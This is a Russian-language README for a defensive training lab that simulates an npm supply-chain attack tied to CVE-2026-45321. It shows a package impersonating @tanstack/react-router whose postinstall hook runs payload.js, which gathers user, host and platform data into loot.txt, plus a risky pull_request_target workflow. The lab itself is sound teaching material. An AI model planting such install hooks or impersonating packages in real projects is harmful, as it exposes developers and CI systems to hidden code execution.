
Учебная лаборатория, симулирующая атаки на цепочку поставок npm, злоупотребление CI/CD и выполнение кода во время установки через CVE-2026-45321. Практическое обучение защитной безопасности с локальным развертыванием вредоносных пакетов.
Образовательная лаборатория для понимания атак на цепочку поставок npm, злоупотребления CI/CD и выполнения кода во время установки
Этот проект создан исключительно для:
Не используйте этот проект для:
Лаборатория симулирует основные концепции инцидента:
Симуляция выполняется локально и безопасно, без:
lab/
├── fake-repo/ # Симуляция репозитория цели
├── attacker-package/ # Симуляция вредоносного пакета
└── victim-project/ # Симуляция жертвы
Пакет злоумышленника
↓
npm install
↓
Выполняется скрипт postinstall
↓
payload.js выполняется автоматически
↓
Жертва подвергается выполнению кода во время установки
git clone https://github.com/renewablehacking/CVE-2026-45321-Tanstack.git
cd CVE-2026-45321-Tanstack
cd attacker-package
npm install
npm pack
Результат:
tanstack-react-router-1.169.5.tgz
cd ../victim-project
npm install ../attacker-package/tanstack-react-router-1.169.5.tgz --foreground-scripts
В случае успеха появится:
=== MALICIOUS PAYLOAD EXECUTED ===
и файл:
loot.txt
будет создан автоматически.
const os = require('os');
const fs = require('fs');
console.log("=== MALICIOUS PAYLOAD EXECUTED ===");
const info = `
USER=${process.env.USER}
HOST=${os.hostname()}
PLATFORM=${os.platform()}
`;
console.log(info);
fs.writeFileSync("loot.txt", info);
{
"name": "@tanstack/react-router",
"version": "1.169.5",
"scripts": {
"postinstall": "node payload.js"
}
}
Этот проект также можно использовать для понимания:
Пример workflow:
name: CI
on:
pull_request_target:
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
| Симуляция в лаборатории | Реальный мир |
|---|---|
| attacker-package | скомпрометированный пакет TanStack |
| payload.js | вредоносный установщик |
Эта лаборатория создана для повышения осведомлённости о:
| postinstall | злоупотребление хуком жизненного цикла |
| victim-project | разработчик/жертва CI |
| fake-repo | конвейер GitHub Actions |